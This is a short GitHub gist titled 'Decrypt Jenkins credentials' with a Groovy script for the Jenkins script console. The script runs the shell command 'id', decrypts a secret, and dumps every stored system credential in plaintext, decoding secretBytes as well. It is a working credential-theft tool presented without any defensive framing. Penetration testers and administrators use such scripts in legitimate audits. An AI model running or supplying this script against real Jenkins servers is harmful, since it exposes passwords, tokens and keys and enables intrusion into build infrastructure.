Skip to content

Instantly share code, notes, and snippets.

@insi2304
Created July 12, 2023 08:19
Show Gist options
  • Save insi2304/44a42666d305fd5dbfb0a5a217549796 to your computer and use it in GitHub Desktop.
Save insi2304/44a42666d305fd5dbfb0a5a217549796 to your computer and use it in GitHub Desktop.
Decrypt Jenkins credentials
println("id".execute().text)
println(hudson.util.Secret.decrypt("{XXX=}"))
com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{
it.properties.each { prop, val ->
if (prop == "secretBytes") {
println(prop + "=>\n" + new String(com.cloudbees.plugins.credentials.SecretBytes.fromString("${val}").getPlainData()) + "\n")
} else {
println(prop + ' = "' + val + '"')
}
}
println("-----------------------")
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment